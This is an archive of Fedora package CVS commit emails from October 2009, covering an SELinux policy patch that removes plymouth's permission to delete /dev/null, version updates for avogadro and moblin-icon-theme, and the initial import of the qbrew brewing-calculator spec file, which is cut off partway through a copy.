 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   58 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/git.fc            |    8 
 policy/modules/services/git.if            |  286 +++++
 policy/modules/services/git.te            |  166 +++
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    4 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    2 
 policy/modules/services/lircd.if          |    9 
 policy/modules/services/lircd.te          |   23 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    3 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   16 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   72 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   65 +
 policy/modules/services/networkmanager.te |  115 +-
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 -
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++
 policy/modules/services/postfix.te        |  142 ++
 policy/modules/services/postgresql.fc     |   16 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    3 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 ++++++
 policy/modules/services/rhcs.te           |  394 +++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  123 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  138 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 ++-
 policy/modules/services/ssh.te            |   77 -
 policy/modules/services/sssd.fc           |    5 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |   12 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/tuned.fc          |    6 
 policy/modules/services/tuned.if          |  140 ++
 policy/modules/services/tuned.te          |   58 +
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   13 
 policy/modules/services/virt.if           |  181 +++
 policy/modules/services/virt.te           |  274 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   37 
 policy/modules/services/xserver.if        |  588 ++++++++++-
 policy/modules/services/xserver.te        |  337 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 ++-
 policy/modules/system/init.te             |  290 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   20 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  164 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   39 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 --------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1517 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 376 files changed, 18266 insertions(+), 2760 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- policy-F12.patch	29 Oct 2009 14:14:24 -0000	1.122
+++ policy-F12.patch	29 Oct 2009 14:30:24 -0000	1.123
@@ -17096,8 +17096,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/plymouth.te serefpolicy-3.6.32/policy/modules/services/plymouth.te
 --- nsaserefpolicy/policy/modules/services/plymouth.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/plymouth.te	2009-10-29 08:30:08.000000000 -0400
-@@ -0,0 +1,97 @@
++++ serefpolicy-3.6.32/policy/modules/services/plymouth.te	2009-10-29 10:28:34.000000000 -0400
+@@ -0,0 +1,96 @@
 +policy_module(plymouthd, 1.0.0)
 +
 +########################################
@@ -17149,7 +17149,6 @@ diff -b -B --ignore-all-space --exclude-
 +dev_read_sysfs(plymouthd_t)
 +dev_read_framebuffer(plymouthd_t)
 +dev_write_framebuffer(plymouthd_t)
-+dev_delete_null(plymouthd_t)
 +
 +domain_use_interactive_fds(plymouthd_t)
 +



From dwalsh at fedoraproject.org  Thu Oct 29 14:33:00 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 29 Oct 2009 14:33:00 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 selinux-policy.spec,1.955,1.956
Message-ID: <20091029143300.49F7F11C029D@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18854

Modified Files:
	selinux-policy.spec 
Log Message:
* Thu Oct 29 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-36
- Change labeling of /usr/share/yumex/yumex-yum-backend
- Allow initrc_t to request loading kernel modules
- Allow initrc_t to manage net_conf_t files
- Allow prelink to manage tmp files for "delta rpm"
- Allow livecd tool to transition to chfn and passwd
- Allow cupsd to bind to howl port
- dontaudit leaked userdomain sockets to xauth
- Allow lircd to use pseudo terminal device
- Allow sambagui to send syslog messages
- dontaudit chrome using nfs and samba file systems if they are used for the homedir
- Allow prelude-dispatch ipc_lock and setpcap
- Change lircd /var/run specification
- Define ports for dhcpcv6



Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.955
retrieving revision 1.956
diff -u -p -r1.955 -r1.956
--- selinux-policy.spec	29 Oct 2009 14:14:27 -0000	1.955
+++ selinux-policy.spec	29 Oct 2009 14:32:59 -0000	1.956
@@ -452,7 +452,6 @@ exit 0
 - Allow prelink to manage tmp files for "delta rpm"
 - Allow livecd tool to transition to chfn and passwd
 - Allow cupsd to bind to howl port
-- Allow plymouth to delete /dev/null
 - dontaudit leaked userdomain sockets to xauth
 - Allow lircd to use pseudo terminal device
 - Allow sambagui to send syslog messages



From sdz at fedoraproject.org  Thu Oct 29 14:36:55 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Thu, 29 Oct 2009 14:36:55 +0000 (UTC)
Subject: rpms/avogadro/devel .cvsignore, 1.10, 1.11 avogadro.spec, 1.16,
	1.17 sources, 1.10, 1.11
Message-ID: <20091029143655.6EF8011C029D@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/avogadro/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20227

Modified Files:
	.cvsignore avogadro.spec sources 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/avogadro/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	26 Sep 2009 16:10:06 -0000	1.10
+++ .cvsignore	29 Oct 2009 14:36:54 -0000	1.11
@@ -1 +1 @@
-avogadro-0.9.8.tar.bz2
+avogadro-1.0.0.tar.bz2


Index: avogadro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/avogadro/devel/avogadro.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- avogadro.spec	21 Oct 2009 00:08:19 -0000	1.16
+++ avogadro.spec	29 Oct 2009 14:36:54 -0000	1.17
@@ -2,8 +2,8 @@
 %{!?python_sitearch:%global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           avogadro
-Version:        0.9.8
-Release:        3%{?dist}
+Version:        1.0.0
+Release:        1%{?dist}
 Summary:        An advanced molecular editor for chemical purposes
 
 Group:          Applications/Editors
@@ -105,6 +105,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Sebastian Dziallas <sebastian at when.com> 1.0.0-1
+- update to new upstream release
+
 * Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 0.9.8-3 
 - rebuild (eigen2)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/avogadro/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	26 Sep 2009 16:10:06 -0000	1.10
+++ sources	29 Oct 2009 14:36:54 -0000	1.11
@@ -1 +1 @@
-ff3a982c3196789a3aa6c7c4b16733dd  avogadro-0.9.8.tar.bz2
+1146e8ca6cafa558a373d32f38680bcf  avogadro-1.0.0.tar.bz2



From sdz at fedoraproject.org  Thu Oct 29 14:37:49 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Thu, 29 Oct 2009 14:37:49 +0000 (UTC)
Subject: rpms/avogadro/F-12 .cvsignore, 1.10, 1.11 avogadro.spec, 1.16,
	1.17 sources, 1.10, 1.11
Message-ID: <20091029143749.ABDCB11C029D@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/avogadro/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20715

Modified Files:
	.cvsignore avogadro.spec sources 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/avogadro/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	26 Sep 2009 16:10:06 -0000	1.10
+++ .cvsignore	29 Oct 2009 14:37:48 -0000	1.11
@@ -1 +1 @@
-avogadro-0.9.8.tar.bz2
+avogadro-1.0.0.tar.bz2


Index: avogadro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/avogadro/F-12/avogadro.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- avogadro.spec	21 Oct 2009 00:08:20 -0000	1.16
+++ avogadro.spec	29 Oct 2009 14:37:49 -0000	1.17
@@ -2,8 +2,8 @@
 %{!?python_sitearch:%global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           avogadro
-Version:        0.9.8
-Release:        3%{?dist}
+Version:        1.0.0
+Release:        1%{?dist}
 Summary:        An advanced molecular editor for chemical purposes
 
 Group:          Applications/Editors
@@ -105,6 +105,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 29 2009 Sebastian Dziallas <sebastian at when.com> 1.0.0-1
+- update to new upstream release
+
 * Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 0.9.8-3 
 - rebuild (eigen2)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/avogadro/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	26 Sep 2009 16:10:06 -0000	1.10
+++ sources	29 Oct 2009 14:37:49 -0000	1.11
@@ -1 +1 @@
-ff3a982c3196789a3aa6c7c4b16733dd  avogadro-0.9.8.tar.bz2
+1146e8ca6cafa558a373d32f38680bcf  avogadro-1.0.0.tar.bz2



From pbrobinson at fedoraproject.org  Thu Oct 29 14:42:51 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 29 Oct 2009 14:42:51 +0000 (UTC)
Subject: rpms/moblin-icon-theme/devel .cvsignore, 1.4,
	1.5 moblin-icon-theme.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091029144251.D836911C02BD@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-icon-theme/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22470

Modified Files:
	.cvsignore moblin-icon-theme.spec sources 
Log Message:
- New upstream 0.9 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	12 Oct 2009 20:06:54 -0000	1.4
+++ .cvsignore	29 Oct 2009 14:42:50 -0000	1.5
@@ -1 +1 @@
-moblin-icon-theme-0.8.tar.bz2
+moblin-icon-theme-0.9.tar.bz2


Index: moblin-icon-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/devel/moblin-icon-theme.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- moblin-icon-theme.spec	12 Oct 2009 20:06:54 -0000	1.5
+++ moblin-icon-theme.spec	29 Oct 2009 14:42:50 -0000	1.6
@@ -1,5 +1,5 @@
 Name:          moblin-icon-theme
-Version:       0.8
+Version:       0.9
 Release:       1
 Summary:       Moblin icon theme
 
@@ -79,6 +79,9 @@ fi
 %{_datadir}/icons/moblin
 
 %changelog
+* Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.9-1
+- New upstream 0.9 release
+
 * Mon Oct 12 2009 Peter Robinson <pbrobinson at gmail.com> 0.8-1
 - New upstream 0.8 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-icon-theme/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	12 Oct 2009 20:06:54 -0000	1.4
+++ sources	29 Oct 2009 14:42:50 -0000	1.5
@@ -1 +1 @@
-6947e9a349338bcb1a63d319c5e7faaf  moblin-icon-theme-0.8.tar.bz2
+274d90eacf03ff99e9d3f56fe8af32e9  moblin-icon-theme-0.9.tar.bz2



From cstpierre at fedoraproject.org  Thu Oct 29 14:42:24 2009
From: cstpierre at fedoraproject.org (Chris St. Pierre)
Date: Thu, 29 Oct 2009 14:42:24 +0000 (UTC)
Subject: rpms/qbrew/devel import.log, NONE, 1.1 qbrew.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091029144224.565F111C02BD@cvs1.fedora.phx.redhat.com>

Author: cstpierre

Update of /cvs/pkgs/rpms/qbrew/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22204/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log qbrew.spec 
Log Message:
Initial import (#524107)


--- NEW FILE import.log ---
qbrew-0_4_1-6_fc11:HEAD:qbrew-0.4.1-6.fc11.src.rpm:1256827296


--- NEW FILE qbrew.spec ---
Name:		qbrew
Version:	0.4.1
Release:	6%{?dist}
Summary:	A Brewing Recipe Calculator

Group:		Applications/Engineering
License:	BSD
URL:		http://www.usermode.org/code.html
Source0:	http://www.usermode.org/code/%name-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildRequires:	qt-devel, desktop-file-utils

%description
QBrew is a homebrewer's recipe calculator. You can create and modify
ale and lager recipes as well as calculate gravity, color, and
bitterness. QBrew includes a database of styles, grains, hops, and
miscellaneous ingredients, plus a brewing tutorial.

%prep
%setup -q
find src -type f -exec chmod 0644 {} \;

%build
# qbrew expects the docs to be %{_prefix}/share/doc/qbrew,
# NOT .../doc/qbrew-%{version}
%{_configure} --prefix=%{_prefix} \
	      --bindir=%{_bindir} \
	      --datadir=%{_datadir}/%{name} \
	      --docdir=%{_defaultdocdir}/%{name}
%{__make} %{?_smp_mflags}

(
cat <<EODESKTOP
[Desktop Entry]
Name=Qbrew
GenericName=Qbrew
Comment=%{summary}
Exec=qbrew
Icon=qbrew
Terminal=false
Type=Application
Categories=Amusement;
EODESKTOP
) > %{name}.desktop

# create translation files
for ts in translations/*.ts; do
    %{_qt4_bindir}/lrelease ${ts}
done

%install
rm -rf ${RPM_BUILD_ROOT}
make install INSTALL_ROOT=${RPM_BUILD_ROOT}

%{__mkdir_p} ${RPM_BUILD_ROOT}%{_datadir}/pixmaps
cp pics/%{name}.png ${RPM_BUILD_ROOT}%{_datadir}/pixmaps

%{__mkdir_p} ${RPM_BUILD_ROOT}%{_datadir}/applications
desktop-file-install \
   --dir=${RPM_BUILD_ROOT}%{_datadir}/applications \
   %{name}.desktop

%{__mkdir_p} ${RPM_BUILD_ROOT}%{_datarootdir}/%{name}/translations
cp translations/*.ts translations/*.qm \
   ${RPM_BUILD_ROOT}%{_datarootdir}/%{name}/translations

%clean
rm -rf ${RPM_BUILD_ROOT}

%files
%defattr(-,root,root,-)
%{_bindir}/*
%{_datadir}/%{name}
%{_datadir}/applications/%{name}.desktop
%{_datadir}/pixmaps/%{name}.png
%{_datarootdir}/%{name}
%{_defaultdocdir}/%{name}

%doc AUTHORS ChangeLog TODO *.qbrew LICENSE README

%changelog
* Wed Oct  7 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-6
- Cleaned up changelog (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c13)
- Did the right thing with LICENSE and README (also comment 13)

* Tue Oct  6 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-5
- Simplified addition of %%doc files
- Removed help files from %%doc, since they're required to make qbrew work
- Moved help files to /usr/share/doc/qbrew/, where qbrew expects them to be
  (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c9)

* Mon Sep 28 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-4
- Build and install translations

* Wed Sep 23 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-3
- Added sample .qbrew files to %%doc
  (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c8)

* Fri Sep 18 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-2
- Fixed a vast array of issues
  (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c2)

* Thu Sep 17 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-1
- Converted specfile from SuSE


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qbrew/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:10:07 -0000	1.1
+++ .cvsignore	29 Oct 2009 14:42:22 -0000	1.2
@@ -0,0 +1 @@
+qbrew-0.4.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qbrew/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:10:07 -0000	1.1
+++ sources	29 Oct 2009 14:42:22 -0000	1.2
@@ -0,0 +1 @@
+bf5009cf5ce5f3ea5069161012966cf7  qbrew-0.4.1.tar.gz



From cstpierre at fedoraproject.org  Thu Oct 29 14:47:52 2009
From: cstpierre at fedoraproject.org (Chris St. Pierre)
Date: Thu, 29 Oct 2009 14:47:52 +0000 (UTC)
Subject: rpms/qbrew/F-12 qbrew.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091029144752.720E811C02A4@cvs1.fedora.phx.redhat.com>

Author: cstpierre

Update of /cvs/pkgs/rpms/qbrew/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23970/F-12

Modified Files:
	sources 
Added Files:
	qbrew.spec 
Log Message:
imported package to F-11 and F-12 branches


--- NEW FILE qbrew.spec ---
Name:		qbrew
Version:	0.4.1
Release:	6%{?dist}
Summary:	A Brewing Recipe Calculator

Group:		Applications/Engineering
License:	BSD
URL:		http://www.usermode.org/code.html
Source0:	http://www.usermode.org/code/%name-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildRequires:	qt-devel, desktop-file-utils

%description
QBrew is a homebrewer's recipe calculator. You can create and modify
ale and lager recipes as well as calculate gravity, color, and
bitterness. QBrew includes a database of styles, grains, hops, and
miscellaneous ingredients, plus a brewing tutorial.

%prep
%setup -q
find src -type f -exec chmod 0644 {} \;

%build
# qbrew expects the docs to be %{_prefix}/share/doc/qbrew,
# NOT .../doc/qbrew-%{version}
%{_configure} --prefix=%{_prefix} \
	      --bindir=%{_bindir} \
	      --datadir=%{_datadir}/%{name} \
	      --docdir=%{_defaultdocdir}/%{name}
%{__make} %{?_smp_mflags}

(
cat <<EODESKTOP
[Desktop Entry]
Name=Qbrew
GenericName=Qbrew
Comment=%{summary}
Exec=qbrew
Icon=qbrew
Terminal=false
Type=Application
Categories=Amusement;
EODESKTOP
) > %{name}.desktop

# create translation files
for ts in translations/*.ts; do
    %{_qt4_bindir}/lrelease ${ts}
done

%install
rm -rf ${RPM_BUILD_ROOT}
make install INSTALL_ROOT=${RPM_BUILD_ROOT}

%{__mkdir_p} ${RPM_BUILD_ROOT}%{_datadir}/pixmaps
cp pics/%{name}.png ${RPM_BUILD_ROOT}%{_datadir}/pixmaps

%{__mkdir_p} ${RPM_BUILD_ROOT}%{_datadir}/applications
desktop-file-install \
   --dir=${RPM_BUILD_ROOT}%{_datadir}/applications \
   %{name}.desktop

%{__mkdir_p} ${RPM_BUILD_ROOT}%{_datarootdir}/%{name}/translations
cp translations/*.ts translations/*.qm \
   ${RPM_BUILD_ROOT}%{_datarootdir}/%{name}/translations

%clean
rm -rf ${RPM_BUILD_ROOT}

%files
%defattr(-,root,root,-)
%{_bindir}/*
%{_datadir}/%{name}
%{_datadir}/applications/%{name}.desktop
%{_datadir}/pixmaps/%{name}.png
%{_datarootdir}/%{name}
%{_defaultdocdir}/%{name}

%doc AUTHORS ChangeLog TODO *.qbrew LICENSE README

%changelog
* Wed Oct  7 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-6
- Cleaned up changelog (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c13)
- Did the right thing with LICENSE and README (also comment 13)

* Tue Oct  6 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-5
- Simplified addition of %%doc files
- Removed help files from %%doc, since they're required to make qbrew work
- Moved help files to /usr/share/doc/qbrew/, where qbrew expects them to be
  (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c9)

* Mon Sep 28 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-4
- Build and install translations

* Wed Sep 23 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-3
- Added sample .qbrew files to %%doc
  (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c8)

* Fri Sep 18 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-2
- Fixed a vast array of issues
  (https://bugzilla.redhat.com/show_bug.cgi?id=524107#c2)

* Thu Sep 17 2009 Chris St. Pierre <chris.a.st.pierre at gmail.com> - 0.4.1-1
- Converted specfile from SuSE


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qbrew/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:10:07 -0000	1.1
+++ sources	29 Oct 2009 14:47:52 -0000	1.2
@@ -0,0 +1 @@
+bf5009cf5ce5f3ea5069161012966cf7  qbrew-0.4.1.tar.gz



From cstpierre at fedoraproject.org  Thu Oct 29 14:47:52 2009
From: cstpierre at fedoraproject.org (Chris St. Pierre)
Date: Thu, 29 Oct 2009 14:47:52 +0000 (UTC)
Subject: rpms/qbrew/F-11 qbrew.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091029144752.62BA011C029D@cvs1.fedora.phx.redhat.com>

Author: cstpierre

Update of /cvs/pkgs/rpms/qbrew/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23970/F-11

Modified Files:
	sources 
Added Files:
	qbrew.spec 
Log Message:
imported package to F-11 and F-12 branches


--- NEW FILE qbrew.spec ---
Name:		qbrew
Version:	0.4.1
Release:	6%{?dist}
Summary:	A Brewing Recipe Calculator

Group:		Applications/Engineering
License:	BSD
URL:		http://www.usermode.org/code.html
Source0:	http://www.usermode.org/code/%name-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildRequires:	qt-devel, desktop-file-utils

%description
QBrew is a homebrewer's recipe calculator. You can create and modify
ale and lager recipes as well as calculate gravity, color, and
bitterness. QBrew includes a database of styles, grains, hops, and
miscellaneous ingredients, plus a brewing tutorial.

%prep
%setup -q
find src -type f -exec chmod 0644 {} \;

%build
# qbrew expects the docs to be %{_prefix}/share/doc/qbrew,
# NOT .../doc/qbrew-%{version}
%{_configure} --prefix=%{_prefix} \
	      --bindir=%{_bindir} \
	      --datadir=%{_datadir}/%{name} \
	      --docdir=%{_defaultdocdir}/%{name}
%{__make} %{?_smp_mflags}

(
cat <<EODESKTOP
